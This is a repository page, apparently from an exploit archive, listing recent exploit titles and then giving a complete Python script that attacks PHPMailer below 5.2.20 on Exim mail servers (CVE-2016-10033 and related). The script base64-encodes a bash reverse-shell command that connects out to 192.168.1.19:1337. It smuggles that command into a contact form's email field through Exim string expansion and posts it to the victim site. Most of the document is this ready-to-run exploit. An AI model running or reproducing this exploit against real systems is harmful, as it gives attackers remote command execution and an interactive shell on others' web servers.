df0343af6d
13 new exploits Microsoft Windows - 'win32k!NtGdiGetOutlineTextMetricsInternalW' Kernel Pool Memory Disclosure Microsoft Windows - 'IOCTL 0x390400_ operation code 0x00020000' Kernel KsecDD Pool Memory Disclosure Microsoft Windows - 'IOCTL_MOUNTMGR_QUERY_POINTS' Kernel Mountmgr Pool Memory Disclosure Microsoft Windows - '0x224000 IOCTL (WmiQueryAllData)' Kernel WMIDataDevice Pool Memory Disclosure Microsoft Windows - 'win32k!NtGdiEnumFonts' Kernel Pool Memory Disclosure Microsoft Windows - 'IOCTL_VOLUME_GET_VOLUME_DISK_EXTENTS' volmgr Pool Memory Disclosure Microsoft Windows - 'IOCTL_DISK_GET_DRIVE_GEOMETRY_EX' Kernel partmgr Pool Memory Disclosure Microsoft Windows - 'IOCTL_DISK_GET_DRIVE_LAYOUT_EX' Kernel partmgr Pool Memory Disclosure Microsoft Windows - 'nt!NtQueryVolumeInformationFile (FileFsVolumeInformation)' Kernel Pool Memory Disclosure Microsoft Windows - 'nt!NtNotifyChangeDirectoryFile' Kernel Pool Memory Disclosure Microsoft Windows - 'nt!KiDispatchException' Kernel Stack Memory Disclosure in Exception Handling sudo 1.8.0 < 1.8.3p1 (sudo_debug) - glibc FORTIFY_SOURCE Bypass + Privilege Escalation sudo 1.8.0 < 1.8.3p1 - 'sudo_debug' glibc FORTIFY_SOURCE Bypass + Privilege Escalation Linux Kernel 3.14.5 (RHEL / CentOS 7) - 'libfutex' Privilege Escalation Linux Kernel 3.14.5 (CentOS 7 / RHEL) - 'libfutex' Privilege Escalation Sudo 1.8.14 - Unauthorized Privilege Sudo 1.8.14 (RHEL 5/6/7 / Ubuntu) - 'Sudoedit' Unauthorized Privilege Escalation Linux/x86 - Reverse UDP Shellcode (668 bytes) PHPMailer < 5.2.20 with Exim MTA - Remote Code Execution
159 lines
6.7 KiB
Python
Executable file
159 lines
6.7 KiB
Python
Executable file
#!/usr/bin/python
|
|
#
|
|
# Exploit Title: [RCE for PHPMailer < 5.2.20 with Exim MTA]
|
|
# Date: [16/06/2017]
|
|
# Exploit Author: [@phackt_ul]
|
|
# Software Link: [https://github.com/PHPMailer/PHPMailer]
|
|
# Version: [< 5.2.20]
|
|
# Tested on: [Debian x86/x64]
|
|
# CVE : [CVE-2016-10033,CVE-2016-10074,CVE-2016-10034,CVE-2016-10045]
|
|
#
|
|
# @phackt_ul - https://phackt.com
|
|
#
|
|
# All credits go to Dawid Golunski (@dawid_golunski) - https://legalhackers.com
|
|
# and its research on PHP libraries vulns
|
|
#
|
|
# PHPMailer < 5.2.18 Remote Code Execution (CVE-2016-10033)
|
|
# PHPMailer < 5.2.20 Remote Code Execution (CVE-2016-10045) - escapeshellarg() bypass
|
|
# SwiftMailer <= 5.4.5-DEV Remote Code Execution (CVE-2016-10074)
|
|
# Zend Framework / zend-mail < 2.4.11 - Remote Code Execution (CVE-2016-10034)
|
|
#
|
|
# ExploitBox project:
|
|
# https://ExploitBox.io
|
|
#
|
|
# Full advisory URL:
|
|
# https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html
|
|
# https://legalhackers.com/videos/PHPMailer-Exploit-Remote-Code-Exec-Vuln-CVE-2016-10033-PoC.html
|
|
# http://pwnscriptum.com/
|
|
#
|
|
# --------------------------------------------------------
|
|
# Enhanced for Exim MTA
|
|
#
|
|
# N.B:
|
|
# The original author's method in the PHPMailer POC (for sendmail MTA) uses the RFC 3696
|
|
# double quotes technique associated with the -oQ -X options to log mailer traffic and to create
|
|
# the backdoor. This technique is not facing some payload size issues because the payload
|
|
# was in the email body.
|
|
#
|
|
# For Exim:
|
|
# The original author's Wordpress 4.6 POC for Exim combines the comment syntax (RFC 822)
|
|
# and the Exim expansion mode techniques. The use of substr on spool_directory and tod_log
|
|
# expansion variables in order to bypass the PHP mail() escaping may leads to large
|
|
# email addresses payloads. However the comment syntax validateAddress() technique does not
|
|
# face any size limitation but its use can not be applied for PHPMailer < 5.2.20.
|
|
#
|
|
# Goal:
|
|
# The use of double quotes validateAdresse() technique (and it's patch bypass for PHPMailer < 5.5.20)
|
|
# combined with the Exim expansion mode technique may leads to large payloads quickly facing addresses
|
|
# size limit here (260 chars) and so not matching the pcre8 regexp in the validateAddress() function.
|
|
# We are now base64 encoding the command in order to bypass escapeshellcmd() and allowing larger payloads.
|
|
#
|
|
#
|
|
# Usage:
|
|
# ./rce_phpmailer_exim4.py -url http://victim/phpmailer/ -cf contact_form.php -ip 192.168.1.109 -p 1337
|
|
#
|
|
#
|
|
# Requirements:
|
|
# - Vulnerable PHP libraries
|
|
# - Exim MTA Agent
|
|
#
|
|
#
|
|
# Disclaimer:
|
|
# For testing purposes only on your local machine - http://pwnscriptum.com/PwnScriptum_PHPMailer_PoC_contactform.zip
|
|
|
|
import argparse
|
|
import urllib
|
|
import urllib2
|
|
import base64
|
|
|
|
# Prepare command for Exim expansion mode in order
|
|
def prepare_cmd(cmd):
|
|
return '${run{${base64d:%s}}}' % base64.b64encode(cmd)
|
|
|
|
# Send Request method
|
|
def send_request(req):
|
|
try:
|
|
urllib2.urlopen(req)
|
|
except urllib2.HTTPError, e:
|
|
print "[!] Got HTTP error: [%d] when trying to reach " + req.get_full_url() + " - Check the URL!\n\n" % e.code
|
|
exit(3)
|
|
except urllib2.URLError, err:
|
|
print "[!] Got the '%s' error when trying to reach " + req.get_full_url() + " - Check the URL!\n\n" % err.reason
|
|
exit(4)
|
|
|
|
# Parse input args
|
|
parser = argparse.ArgumentParser(prog='rce_phpmailer_exim4.py', description='PHPMailer / Zend-mail / SwiftMailer - RCE Exploit for Exim4 based on LegalHackers sendmail version')
|
|
parser.add_argument('-url', dest='WEBAPP_BASE_URL', required=True, help='WebApp Base Url')
|
|
parser.add_argument('-cf', dest='CONTACT_SCRIPT', required=True, help='Contact Form scriptname')
|
|
parser.add_argument('-ip', dest='ATTACKER_IP', required=True, help='Attacker IP for reverse shell')
|
|
parser.add_argument('-p', dest='ATTACKER_PORT', required=False, help='Attackers Port for reverse shell', default="8888")
|
|
parser.add_argument('--post-action', dest='POST_ACTION', required=False, help='Overrides POST "action" field name', default="send")
|
|
parser.add_argument('--post-name', dest='POST_NAME', required=False, help='Overrides POST "name of sender" field name', default="name")
|
|
parser.add_argument('--post-email', dest='POST_EMAIL', required=False, help='Overrides POST "email" field name', default="email")
|
|
parser.add_argument('--post-msg', dest='POST_MSG', required=False, help='Overrides POST "message" field name', default="msg")
|
|
args = parser.parse_args()
|
|
|
|
CONTACT_SCRIPT_URL = args.WEBAPP_BASE_URL + args.CONTACT_SCRIPT
|
|
|
|
# Show params
|
|
print """[+] Setting vars to: \n
|
|
WEBAPP_BASE_URL = [%s]
|
|
CONTACT_SCRIPT = [%s]
|
|
ATTACKER_IP = [%s]
|
|
ATTACKER_PORT = [%s]
|
|
POST_ACTION = [%s]
|
|
POST_NAME = [%s]
|
|
POST_EMAIL = [%s]
|
|
POST_MSG = [%s]
|
|
""" % (args.WEBAPP_BASE_URL, args.CONTACT_SCRIPT, args.ATTACKER_IP, args.ATTACKER_PORT, args.POST_ACTION, args.POST_NAME, args.POST_EMAIL, args.POST_MSG)
|
|
|
|
# Ask for mail library
|
|
print "[+] Choose your target / payload: "
|
|
print "\033[1;34m"
|
|
print """[1] PHPMailer < 5.2.18 Remote Code Execution (CVE-2016-10033)"""
|
|
print """ SwiftMailer <= 5.4.5-DEV Remote Code Execution (CVE-2016-10074)"""
|
|
print """ Zend Framework / zend-mail < 2.4.11 - Remote Code Execution (CVE-2016-10034)\n"""
|
|
print """[2] PHPMailer < 5.2.20 Remote Code Execution (CVE-2016-10045) - escapeshellarg() bypass"""
|
|
print "\033[0m"
|
|
|
|
try:
|
|
target = int(raw_input('[?] Select target [1-2]: '))
|
|
except ValueError:
|
|
print "Not a valid choice. Exiting\n"
|
|
exit(2)
|
|
|
|
if (target>2):
|
|
print "No such target. Exiting\n"
|
|
exit(3)
|
|
|
|
################################
|
|
# Payload
|
|
################################
|
|
cmd = "/bin/bash -c '0<&196;exec 196<>/dev/tcp/192.168.1.19/1337;nohup sh <&196 >&196 2>&196 &'"
|
|
prepared_cmd = prepare_cmd(cmd)
|
|
|
|
payload = '"a\\" -be ' + prepared_cmd + ' "@a.co'
|
|
|
|
# Update payloads for PHPMailer bypass (PHPMailer < 5.2.20)
|
|
if target == 2:
|
|
payload = "\"a\\' -be " + prepared_cmd + " \"@a.co"
|
|
|
|
################################
|
|
# Attack episode
|
|
# This step will execute the reverse shell
|
|
################################
|
|
|
|
# Form fields
|
|
post_fields = {'action': "%s" % args.POST_ACTION, "%s" % args.POST_NAME: 'Jas Fasola', "%s" % args.POST_EMAIL: payload, "%s" % args.POST_MSG: 'Really important message'}
|
|
|
|
# Print relevant information
|
|
print "\n[+] Executing command on victim server\n"
|
|
print '[!] command: [%s]' % cmd
|
|
print '[!] payload: [%s]' % payload
|
|
print '[!] post_fields: [%s]\n' % str(post_fields)
|
|
|
|
data = urllib.urlencode(post_fields)
|
|
req = urllib2.Request(CONTACT_SCRIPT_URL, data)
|
|
send_request(req)
|
|
|
|
print "\033[1;32m[+] You should check your listener and cross the fingers ;)\033[0m\n"
|